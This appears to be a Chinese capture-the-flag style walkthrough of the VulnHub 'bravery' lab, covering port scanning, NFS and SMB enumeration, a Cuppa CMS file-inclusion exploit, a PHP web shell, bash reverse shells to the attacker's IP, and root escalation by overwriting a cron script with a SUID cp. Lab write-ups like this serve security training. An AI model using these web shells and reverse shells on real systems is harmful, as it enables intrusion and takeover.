vulnhub靶场之【digitalworld.local系列】的bravery靶机

news2025/3/4 11:42:56

前言

靶机:digitalworld.local-bravery,IP地址为192.168.10.8

攻击:kali,IP地址为192.168.10.6

kali采用VMware虚拟机,靶机采用virtualbox虚拟机,网卡都为桥接模式

这里官方给的有两种方式,一是直接使用virtualbox加载,另一种是通过VMware挂载磁盘,也给出了iso镜像文件

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过下方链接下载https://download.vulnhub.com/digitalworld/bravery-improved.7z

或者通过网盘下载https://pan.quark.cn/s/86cf8a398835

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

nmap -sV -O 192.168.10.8 -p- -T4

这是全面扫描,不过尽量更详细一点,先扫描tcp端口

nmap -sT 192.168.10.8 -p- -T4 -oA nmap_tcp

扫描udptop20端口

nmap -sU 192.168.10.8 --top-ports 20 -T4

这里的udptcp端口处于open的无差,所以,采用tcp的端口,并进行端口选择

grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','

再对这些端口进行深一步的检测,比如检测服务等

ports=22,53,80,111,139,443,445,2049,3306,8080,20048,37191,49742
nmap -sV -O -sC -sT 192.168.10.8 -p $ports -oA detail

再通过nmap的脚本扫描有无漏洞

nmap --script=vuln -p $ports -oA vuln

根据以上收集的信息,有网站,有smb等,那么就一步一步来,大部分靶机都是从web开始,一步步推进

网站信息收集

80端口网站探测

访问80端口的网站,并未有内容,应该是测试网站

查看页面源代码后,也并未有信息,使用浏览器插件wappalyzer或者whatweb测试该网站,发现具有php语言,采用apache,与前面nmap扫描收集的信息一样

那么针对该80网站进行网站目录爆破,这里采用gobuster工具,也可以使用其他工具,很多

gobuster dir -u http://192.168.10.8 -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404

这里的/0/9都只是数字,访问README.txt,提示努力

访问/about,给出一个链接,并说这里有提示

访问uploads,这里虽然有文件夹,但是里面没有任何东西

再访问phpinfo.php,但是并不是真正的phpinfo界面,是空白

之前给出的链接中,直接访问是不存在的界面,那么进行拼接呢

http://192.168.10.8/1075692/Try-Harder
或
http://192.168.10.8/1075692
或
http://192.168.10.8/Try-Harder

访问后,有一张图片,大概就是说,“还需努力啊,少年!”

既然如此,好嘛,我就转换方向,我去8080网站看看,嘿嘿嘿

8080端口网站探测

访问8080端口默认界面

查看页面源代码,也并未发现隐藏信息

使用gobuster等工具进行目录爆破

gobuster dir -u http://192.168.10.8:8080 -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404

先访问robots.txt,发现与前面爆破的路径,大部分都是一样的

访问/cgi-bin404.html都是一样的界面显示,不过这里也是得知一些信息,为nignx管理,并且配置文件的路径也给出了

访问private,是以nginx默认的403界面显示

访问public,是一个常见的网站类型

再次对这个网站进行扫描

gobuster dir -u http://192.168.10.8:8080/public -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404

发现mail.php,不过访问这个文件,是直接下载的,所以可能这个网站对于php文件并不能解析

访问qwertyuiop.html,发现是一张图片,图片中的英文就是提示

sometimes,what you seek is hiding in planin sight

下载图片,然后使用exiftool、binwalk、steghide等工具查看是否有隐写内容,测试发现并没有

到这里,对于网站探测已经over了,除非就是网站爆破时,字典的问题了

nfs探测

在之前,使用nmap扫描的时候,发现rpcbindnfs,一般这两个都是搭配使用的

那么使用nmap的脚本再进行一次探测

nmap 192.168.10.8 --script=nfs*

有东西,那么进一步深入,使用showmount查看

showmount -e 192.168.10.8

可以看到,目标靶机确实是有,那么尝试直接挂载到kali进行测试是否可行

mkdir share
mount -t nfs 192.168.10.8:/var/nfsshare ./share

但是我查看了所有文件的内容,文件里面的内容,并没有任何有价值的

直到我再次查看,发现qwertyuioplkjhgfdsazxcvbnm这个文件有意思,结合前面password.txt以及其本身的内容来看,我怀疑这是一个密码

smb探测

前面也是有相关的smb服务的开启,所以,需要进一步进行探测的

使用nmap中的脚本探测

nmap 192.168.10.8 --script=smb*

枚举出三个分享IPC$、anonymous、secured

枚举出anonymous分享中,有内容

枚举出两个用户david、rick

再使用enum4linux枚举一下

enum4linux 192.168.10.8 -a

枚举出两个用户,与前面使用nmap一样

枚举出三个分享,也是和前面使用nmap出的结果一样

信息总结

当前获取到的信息有

  1. nfs中的一个可能疑似密码的东西
  2. smb枚举出的三个分享以及两个用户
  3. 网站中并未有明显信息,目前来看,需要从smb着手

密码qwertyuioplkjhgfdsazxcvbnm

分享anonymous、secured

用户david、rick

漏洞寻找

根据前面的信息,尝试连接smb中的分享,可以使用smbclient或者smbmap都可以

smbclient //192.168.10.8/anonymous -N
#-N  是指不使用密码登录,也就是以匿名形式登录

因为readme.txt是英文,为了方便,翻译一下,表示这是一个临时的服务,这种情况在现实中确实有,不过这需要很长的潜伏

然后再次以登录身份进行测试anonymous,发现也是一样的东西

#密码  qwertyuioplkjhgfdsazxcvbnm
smbclient //192.168.10.8/anonymous -U david	#成功登录
smbclient //192.168.10.8/anonymous -U rick	#无法成功登录

那么换另一个分享secured,这里想匿名登录是失败的

#密码 qwertyuioplkjhgfdsazxcvbnm
smbclient //192.168.10.8/secured -U david	#成功登录
smbclient //192.168.10.8/secured -U rick	#无法成功登录

获取三个文件,下载到kali,然后查看内容

查看README.txt文件,这里明确提出了CMS,并且还搞出个单词goodtech

查看david.txt,提到域名,以及一个php的文件路径

查看genevieve.txt文件,这里的信息提到一个地址http://192.168.254.155/genevieve

根据上面收集的信息,构造一些网站的可能性,这里是不包括绑定域名的情况

http://192.168.10.8/devops/directortestpagev1.php
http://192.168.10.8:8080/devops/directortestpagev1.php

http://192.168.10.8/genevieve
http://192.168.10.8:8080/genevieve

先尝试一下,发现访问成功一个,看网站的样子,应该是还在搭建中

把能点的都点了,发现基本上都是页面不存在,不过发现一个功能,点击后,跳转到登录界面

可以看到是CMS

以前面获取的信息,尝试进行登录,发现不行,包括刚获取的goodtech,把所有信息进行拼接,得出的用户名和密码,都无法登录,并且测试登录框,应该不存在注入

漏洞利用

那么使用searchsploit搜索,有无该CMS的漏洞cuppa

searchsploit cuppa

查看文档,发现用法,并且是文件包含,这个应该是cms构建时的代码原因

测试路径,并且确定是否可用,确实可以

那么就在kali本地创建一个php文件,使得其远程包含该文件,然后导致反弹shell

这里先写一个简单的php代码,可执行system的命令

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

把这个代码写入shell.php文件,然后再kali中,使用python开启一个http服务,观察是否可行

注意,一定不要把kali中的http服务关闭,因为远程代码执行需要调用的

可以看到,我们的代码确实通过远程执行了,所以这里就直接通过传参cmd反弹shell

bash -i >& /dev/tcp/192.168.10.6/9999 0>&1
#需要进行url编码
bash%20-i%20%3e%26%20%2fdev%2ftcp%2f192.168.10.6%2f9999%200%3e%261

提权

靶机内信息收集

查看网络连接

ss -antlp

查看ip地址,确定当前是否处在虚拟环境,确实未处于虚拟环境

ip add

查看以root的进程

ps aux | grep root

查看内核版本以及系统版本

uanme -a/-r
cat /etc/issue
cat /etc/*release

使用find寻找具有SUID权限的文件

find - perm -u=s -type f 2>/dev/null

查看定时任务

cat /etc/crontab

查看网站中的配置文件,发现连接数据库的用户名和密码,并且以root连接的

瞬间就让人想到udf提权,不过还是需要进一步验证

查看相关配置,可能确实可以udf提权

不过再尝试进行dumpfile时,这个是被拒绝了,还是不能udf提权

上传一些脚本检测吧,上传pspy64,执行后发现,有一个脚本每5分钟执行一次

定时任务提权

已知,有脚本定时以root身份执行,并且在前面寻找SUID权限文件时,有cp命令,那么就可以创建一个反弹shell的脚本,使用cp覆盖原本的定时任务,就可以获得一个root的反弹shell

#先在kali开启监听
nc -lvnp 1234

#然后执行命令
cd /tmp		#这里可以创建文件
echo "/bin/bash -i >& /dev/tcp/192.168.10.6/1234 0>&1" > 1.sh
cat 1.sh	#确保反弹shell命令写入
/usr/bin/cp 1.sh /var/www/maintenance.sh	#开始使用具有SUID权限的cp进行覆盖
ls -l /var/www		#确保只有一个文件,也就是确保覆盖
cat /var/www/maintenance.sh		#再次确认,内容是否修改

等待一会,即可发现,获取到rootshell,这个时间大概5分钟

总结

该靶机考察几点:

  1. 对于众多信息,要一步步去筛选,不要急躁。这里的网站信息刚开始可能确实没有,所以不要急躁
  2. 对于nfs这个要稍微了解,建议去ai搜索一下,这个经常配合rpcbind出现,并且,靶机内一般都是与showmount和挂载有关
  3. 对于smb服务,要会枚举,这里可以借助nmap的脚本,或者enum4linux或其他工具;枚举出之后,要会找到有用的信息,这里也就是密码的关键寻找
  4. 对于信息,要敏感,比如,如果是目录型网站,出现类似于目录的时候,要会拼接,这里因为出现的少,所以手工拼接即可,若是很多,要会自动化处理,也就是使用代码拼接目录,再通过工具批处理,选出可用的链接
  5. 对于提权,这里在获取到的平常信息,都无法提权时,可以借助工具观察,因为不可能每时每刻观察进程的命令,这也可能不显示
  6. 提权,要思路广,结合起来,这里就是想起cp命令来覆盖root执行的定时任务脚本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2309472.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot 整合mongoDB并自定义连接池,实现多数据源配置

要想在同一个springboot项目中使用多个数据源&#xff0c;最主要是每个数据源都有自己的mongoTemplate和MongoDbFactory。mongoTemplate和MongoDbFactory是负责对数据源进行交互的并管理链接的。 spring提供了一个注解EnableMongoRepositories 用来注释在某些路径下的MongoRepo…

C++20 标准化有符号整数:迈向更可预测的整数运算

文章目录 一、背景&#xff1a;为什么需要标准化&#xff1f;二、2 的补码&#xff1a;原理与优势&#xff08;一&#xff09;2 的补码原理&#xff08;二&#xff09;2 的补码的优势 三、C20 的变化&#xff1a;明确 2 的补码四、如何利用这一特性优化代码&#xff08;一&…

npm ERR! code 128 npm ERR! An unknown git error occurred

【问题描述】 【问题解决】 管理员运行cmd&#xff08;右键window --> 选择终端管理员&#xff09; 执行命令 git config --global url.“https://”.insteadOf ssh://git cd 到项目目录 重新执行npm install 个人原因&#xff0c;这里执行npm install --registryhttps:…

泵吸式激光可燃气体监测仪:快速精准守护燃气管网安全

在城市化进程加速的今天&#xff0c;燃气泄漏、地下管网老化等问题时刻威胁着城市安全。如何实现精准、高效的可燃气体监测&#xff0c;守护“城市生命线”&#xff0c;成为新型基础设施建设的核心课题。泵吸式激光可燃气体监测仪&#xff0c;以创新科技赋能安全监测&#xff0…

Stiring-PDF:开源免费的PDF文件处理软件

Stiring-PDF是一款开源免费且比较好用的PDF文件处理工具。 Stiring-PDF官网网址为&#xff1a;https://www.stiringpdf.com/。Stiring-PDF是一款专业的PDF文件处理工具&#xff0c;支持Windows和macOS操作系统&#xff1b;提供丰富的PDF编辑和转换功能&#xff0c;适用于日常工…

Cherno C++ P60 为什么不用using namespace std

这篇文章我们讲一下之前写代码的时候的一个习惯&#xff0c;也就是不使用using namespace std。如果我们接触过最早的C教程&#xff0c;那么第一节课都会让我们写如下的代码&#xff1a; #include<iostream>using namespace std;int main() {cout << "Hello …

大模型微调实验记录(一)数据探索

文章目录 概要整体架构流程前期的技术探索技术构造技术细节小结 概要 根据之前博客使用的docker技术&#xff0c;如果换公司了&#xff0c;我可能就要重新搭建环境了&#xff0c;哎&#xff0c;公司没资源给我&#xff0c;给我一台带不走的电脑&#xff0c;哎&#xff0c;这可…

JavaWeb-社区版Idea安装配置

idea配置 一&#xff0c;下载idea社区版 百度搜索IntelliJ IDEA&#xff0c;点击下载链接。 二&#xff0c;全局配置 前提安装好jdk&#xff0c;这一步不再赘述。进入引导页&#xff0c;把可以配置的东西都先配置上&#xff0c;这个配置是全局的&#xff0c;省的之后&#…

商城系统单商户开源版源码

环境配置 1.软件安装 宝塔安装系统软件:Nginx、MySQL5.6、PHP( PHP用7.1-7.4版本)、phpMyAdmin(Web端MySQL管理工具)。 2.配置mysql 设置mysql&#xff0c;在已安装的软件里面找到 mysql点击进行设置 3.修改sql-mode 选择左侧配置修改&#xff0c;找到里面的sql-mode&…

Python PDF文件拆分-详解

目录 使用工具 将PDF按页数拆分 将PDF的每一页拆分为单独的文件 将PDF按指定页数拆分 根据页码范围拆分PDF 根据指定内容拆分PDF 将PDF的一页拆分为多页 在日常生活中&#xff0c;我们常常会遇到大型的PDF文件&#xff0c;这些文件可能难以发送、管理和查阅。将PDF拆分成…

ubuntu部署gitlab-ce及数据迁移

ubuntu部署gitlab-ce及数据迁移 进行前梳理: 在esxi7.0 Update 3 基础上使用 ubuntu22.04.5-server系统对 gitlab-ce 16.10进行部署,以及将gitlab-ee 16.9 数据进行迁移到gitlab-ce 16.10 进行后总结: 起初安装了极狐17.8.3-jh 版本(不支持全局中文,就没用了) …

Y3学习打卡

网络结构图 YOLOv5配置了4种不同大小的网络模型&#xff0c;分别是YOLOv5s、YOLOv5m、YOLOv5l、YOLOv5x&#xff0c;其中 YOLOv5s 是网络深度和宽度最小但检测速度最快的模型&#xff0c;其他3种模型都是在YOLOv5s的基础上不断加深、加宽网络使得网络规模扩大&#xff0c;在增强…

英码科技携昇腾DeepSeek大模型一体机亮相第三届北京人工智能产业创新发展大会

2025年2月28日&#xff0c;第三届北京人工智能产业创新发展大会在国家会议中心隆重开幕。本届大会以"好用、易用、愿用——以突破性创新加速AI赋能千行百业”为主题&#xff0c;重点展示人工智能技术创新成果与产业化应用实践。作为昇腾生态的APN伙伴&#xff0c;英码科技…

JS禁止web页面调试

前言 由于前端在页面渲染的过程中 会调用很多后端的接口&#xff0c;而有些接口是不希望别人看到的&#xff0c;所以前端调用后端接口的行为动作就需要做一个隐藏。 禁用右键菜单 document.oncontextmenu function() {console.log("禁用右键菜单");return false;…

modbus 协议的学习,谢谢老师

&#xff08;1&#xff09;谢谢这位老师 &#xff0c;谢谢老师的教导 &#xff08;2&#xff09; 谢谢

题解 | 牛客周赛82 Java ABCDEF

目录 题目地址 做题情况 A 题 B 题 C 题 D 题 E 题 F 题 牛客竞赛主页 题目地址 牛客竞赛_ACM/NOI/CSP/CCPC/ICPC算法编程高难度练习赛_牛客竞赛OJ 做题情况 A 题 判断字符串第一个字符和第三个字符是否相等 import java.io.*; import java.math.*; import java.u…

命名管道——进程间通信

个人主页&#xff1a;敲上瘾-CSDN博客 匿名管道&#xff1a;进程池的制作&#xff08;linux进程间通信&#xff0c;匿名管道... ...&#xff09;-CSDN博客 一、命名管道的使用 1.创建命名管道 1.1.在命令行中&#xff1a; 创建&#xff1a; mkfifo 管道名 删除&#xff1a…

高频 SQL 50 题(基础版)_1141. 查询近30天活跃用户数

1141. 查询近30天活跃用户数 select activity_date day,count(distinct user_id) active_users from Activity where (activity_date<2019-07-27 and activity_date>DATE_sub(2019-07-27,INTERVAL 30 DAY)) group by(activity_date)

Yocto + 树莓派摄像头驱动完整指南

—— 从驱动配置、Yocto 构建&#xff0c;到 OpenCV 实战 在树莓派上运行摄像头&#xff0c;在官方的 Raspberry Pi OS 可能很简单&#xff0c;但在 Yocto 项目中&#xff0c;需要手动配置驱动、设备树、软件依赖 才能确保摄像头正常工作。本篇文章从 BSP 驱动配置、Yocto 关键…

计算最大海岛面积

最大海岛面积问题的不同解法 问题举例 给定一个包含了一些 0 和 1 的非空二维数组 matrix 。 一个岛屿是由一些相邻的 1 (代表土地) 构成的组合&#xff0c;这里的「相邻」要求两个 1 必须在水平或者竖直方向上相邻。你可以假设matrix的四个边缘都被 0&#xff08;代表水&am…